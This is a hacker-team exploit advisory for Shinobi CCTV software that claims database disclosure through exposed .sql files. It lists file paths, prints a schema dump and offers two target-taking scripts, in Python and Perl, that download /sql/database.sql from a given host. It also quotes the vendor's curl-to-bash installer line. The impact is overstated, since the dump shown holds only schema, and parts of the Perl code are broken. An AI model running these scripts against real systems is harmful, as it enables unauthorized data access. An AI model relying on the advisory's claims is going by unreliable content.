###########################################################################
# Exploit Title : Shinobi Security Software 1.0 Database Disclosure Exploit
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 02/04/2019
# Vendor Homepage : shinobi.video
# Software Download Link : github.com/moeiscool/Shinobi/archive/master.zip
# Software Information Link : shinobi.video/docs/
gitlab.com/Shinobi-Systems/ShinobiCE
github.com/moeiscool/Shinobi
# Software Version : 1.0 and latest version
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type :
CWE-200 [ Information Exposure ]
CWE-538 [ File and Directory Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
# Acunetix Information Link about => phpMyAdmin SQL dump Web Vulnerability
acunetix.com/vulnerabilities/web/phpmyadmin-sql-dump/
###########################################################################
# Description about Software :
***************************
Shinobi is Open Source, written in Node.js, and real easy to use. It is the future of CCTV
and NVR for developers and end-users alike. It is catered to by professionals and most importantly
by the one who created it. Shinobi Community Edition (CE) is a GPLv3+AGPLv3 release of Shinobi.
The Free Open Source CCTV platform written in Node.JS (Camera Recorder -
Security Surveillance Software - Restreamer.
###########################################################################
# Impact :
***********
* The product stores sensitive information in files or directories that are accessible
to actors outside of the intended control sphere.
* An information exposure is the intentional or unintentional disclosure of information
to an actor that is not explicitly authorized to have access to that information.
* phpMyAdmin is a free software tool written in PHP, intended to handle the administration of
MySQL over the World Wide Web. It can be used to dump a database or a collection of
databases for backup or transfer to another SQL server (not necessarily a MySQL server).
The dump typically contains SQL statements to create the table, populate it, or both.
This file contains an phpMyAdmin SQL dump. This information is highly sensitive and
should not be found on a production system.
Installation :
***********
Fast Install (The Ninja Way)
Become root to use the installer and run Shinobi.
Use one of the following to do so.
Ubuntu 17.04, 17.10
sudo su
CentOS 7
su
MacOS 10.7(+)
su
Download
and run the installer.
bash <(curl -s https://gitlab.com/Shinobi-Systems/Shinobi-Installer/raw
/master/shinobi-install.sh)
Elaborate Installs
Installation Tutorials - http://shinobi.video/docs
/start
Troubleshooting Guide - http://shinobi.video/docs/start#trouble-section
###########################################################################
File :
*****
/sql/database.sql
/default_data.sql
/framework.sql
/tables.sql
/update-1-1-2017.sql
/update-13-7-2017.sql
/update-17-5-2017.sql
/update-2-2-2017.sql
/update-26-08-2017.sql
/update-5-6-2017.sql
/user.sql
/sql/docker/01-framework.sql
/sql/postgresql/default_data.sql
/sql/postgresql/framework.sql
/sql/postgresql/user.sql
/sql/mssql/default_data.sql
/sql/mssql/framework.sql
/sql/mssql/user.sql
/sql/sqlite3/framework.sql
Information : [ /sql/database.sql ]
*********************************
-- --------------------------------------------------------
-- Host: Host IP Address
-- Server version: 5.7.17-0ubuntu0.16.04.1 - (Ubuntu)
-- Server OS: Linux
-- HeidiSQL Version: 9.3.0.4984
-- --------------------------------------------------------
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET NAMES utf8mb4 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
-- Dumping database structure for ccio
CREATE DATABASE IF NOT EXISTS `ccio` /*!40100 DEFAULT CHARACTER SET utf8 */;
USE `ccio`;
-- Data exporting was unselected.
/*!40101 SET SQL_MODE=IFNULL(@OLD_SQL_MODE, '') */;
/*!40014 SET FOREIGN_KEY_CHECKS=IF(@OLD_FOREIGN_KEY_CHECKS IS NULL, 1, @OLD_FOREIGN_KEY_CHECKS) */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
###########################################################################
# Database Disclosure Information Exposure Exploit 1 :
***********************************************
#!/usr/bin/python
import string
import re
from urllib2 import Request, urlopen
disc = "/sql/database.sql"
url = raw_input ("URL: ")
req = Request(url+disc)
rta = urlopen(req)
print "Result"
html = rta.read()
rdo = str(re.findall("resources.*=*", html))
print rdo
exit
###########################################################################
# Database Disclosure Information Exposure Exploit 2 :
***********************************************
#!/usr/bin/perl -w
# Author : KingSkrupellos
# Team : Cyberizm Digital Security Army
use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('Shinobi Security Software 1.0 Database Disclosure Exploit');
system('color a');
if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;
$File="sql/database.sql";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Wait Please Dear Hacker!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/sql/database.sql");
if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/sql/database.sql\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
###########################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###########################################################################